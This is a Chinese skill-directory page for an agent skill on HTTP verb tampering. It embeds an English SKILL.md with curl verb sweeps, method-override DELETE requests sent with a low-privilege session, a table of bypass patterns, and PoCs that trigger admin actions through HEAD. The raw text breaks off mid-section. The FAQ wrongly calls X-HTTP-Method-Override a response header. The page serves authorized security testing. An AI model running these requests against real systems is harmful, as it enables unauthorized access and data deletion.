verb-tampering
它能做什么
这项技能说明如何通过更改请求的 HTTP 方法来绕过访问规则。适合检查受保护页面是否响应不常见方法的安全测试人员。
适用场景
- ✓当受保护页面阻止 GET 或 POST,而你想检查其他方法是否能通过时。
- ✓当服务器支持防火墙可能未检查的方法覆盖响应头时。
- ✓当安全审查询问所有 HTTP 方法是否遵循相同的访问规则时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/verb-tampering/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我的管理页面能否通过发送不同的 HTTP 方法来访问?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体用 HEAD、OPTIONS、PUT 或自定义的动词发送同一个请求,并比较结果,看访问检查是否被跳过。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
HTTP Verb / Method Tampering
Authorization is enforced for GET/POST but not for HEAD, OPTIONS, PATCH, DELETE, PUT, TRACE, TRACK, or arbitrary verbs like FOO. Or the app respects X-HTTP-Method-Override and the WAF/auth filter does not. Or the framework routes any verb to the same handler while only the POST ACL rule exists. Severity is High to Critical when it grants admin-only actions or reads protected data.
1. Why it works
- Apache/nginx
Limit/LimitExceptrules in.htaccessoften list onlyGET POST. Any other verb is unrestricted. - Tomcat / JSP
<security-constraint><http-method>GET</http-method>only constrains the listed verbs (the famous "Tomcat verb tampering" class — CVE-2017-12615, CVE-2009-3548 family). - API gateways enforce method-specific policies; the upstream service treats verbs identically.
- Spring
@RequestMappingwithoutmethod=accepts every verb.@GetMapping/@PostMappingconstrain, but generic mappings do not. - Express.js
app.all(path, handler)answers every method. - Framework method-override middleware (
methodOverridein Express, Rails_method=DELETE,X-HTTP-Method-Overridein many) lets aPOSTbecome aDELETEafter auth runs. - Many WAFs ship rule sets keyed on
GET/POSTonly.
2. Detection — does the endpoint answer non-standard verbs?
# Verb sweep
for m in GET HEAD POST PUT PATCH DELETE OPTIONS TRACE TRACK CONNECT PROPFIND COPY MOVE LOCK UNLOCK MKCOL FOO; do
code=$(curl -sk -o /dev/null -w '%{http_code} %{size_download}' -X "$m" "http://<TARGET>/admin/users")
printf '%-10s -> %s\n' "$m" "$code"
done
# Compare auth-required endpoint without creds, per verb
for m in GET HEAD POST PUT PATCH DELETE OPTIONS; do
curl -sk -o /dev/null -w "%-7s %{http_code}\n" -X "$m" "http://<TARGET>/admin/secret"
done
# If GET=401 but HEAD/OPTIONS=200 → verb-based auth bypass candidate.
HEAD is the highest-yield: per RFC 9110 it MUST be treated like GET minus the body, but servers diverge — middleware sometimes short-circuits auth on HEAD. Response headers and status leak data even with no body.
# HEAD bypass — read protected response headers (Set-Cookie, Location, ETag, Content-Length)
curl -sk -I -X HEAD "http://<TARGET>/admin/export.csv"
3. Method-override headers
The app overrides the real method with the value of a header after the WAF/auth has classified the request as POST (allowed) or GET (allowed).
# Common override headers
for h in 'X-HTTP-Method-Override' 'X-HTTP-Method' 'X-Method-Override' 'X-Original-Method'; do
curl -sk -X POST -H "$h: DELETE" "http://<TARGET>/admin/users/1337" \
-o /dev/null -w "%-26s %{http_code}\n" -H "Cookie: session=$LOWPRIV"
done
# Rails / Laravel — _method in form body
curl -sk -X POST "http://<TARGET>/posts/42" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=DELETE' -b "session=$LOWPRIV"
# Verb tunnelled through GET (some legacy frameworks)
curl -sk "http://<TARGET>/admin/delete?_method=DELETE&id=42" -b "session=$LOWPRIV"
4. Bypass patterns
| Pattern | Mechanic |
|---|---|
.htaccess Limit |
<Limit GET POST>require valid-user</Limit> blocks GET/POST only — try HEAD, PUT, custom verb. |
Tomcat <http-method> constraint |
The constraint applies only to listed methods. Use any other. |
Spring generic @RequestMapping("/path") |
Every verb routes here. Author meant only POST. |
Express app.all / no method-guard |
Same. |
| Method-override after auth | POST /low-priv allowed; X-HTTP-Method-Override: DELETE upgrades. |
_method=PATCH body field |
Rails/Laravel/Symfony idiom; the auth layer saw a POST. |
WAF gating on GET/POST only |
Send the payload as PATCH or FOO. |
| TRACE/TRACK enabled | XST — reflects request headers, used to read HttpOnly cookies in legacy XSS chains. |
WebDAV verbs (PROPFIND, COPY, MOVE, PUT, MKCOL) on IIS/Apache |
Direct file upload / RCE on misconfigured WebDAV. |
OPTIONS * |
Discloses enabled methods on the whole server: `curl -X OPTIONS -i http://<TARGET>/* |
5. Exploit PoCs
5.1 Admin action via HEAD bypass
# Trigger admin action where HEAD reaches handler logic without auth
curl -sk -I -X HEAD "http://<TARGET>/admin/cache/flush" -o /dev/null -w '%{http_code}\n'
# Confirm side-effect:
curl -sk "http://<TARGET>/api/cache/size"
5.2 Method-override DELETE
# Low-priv us
常见问题
什么是 X-HTTP-Method-Override?
它是一种响应头,有些框架用它把 POST 当作另一种方法处理,这可能绕过只检查原始方法的规则。
为什么 Tomcat 配置在这里很重要?
该技能指出,有些 Tomcat 安全规则只限制了列出的动词,因此其他动词可能不受限制。
这只用于授权测试吗?
是的,它是一项安全测试技能,只能用于你获得测试许可的系统。
详情
作者的原始描述
HTTP verb/method tampering — auth bypass via HEAD/OPTIONS/arbitrary methods, X-HTTP-Method-Override, TRACE/PUT/DELETE exposure, framework routing flaws.
热度
- GitHub 星标
- 6.5k
- 排名
- #14083
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …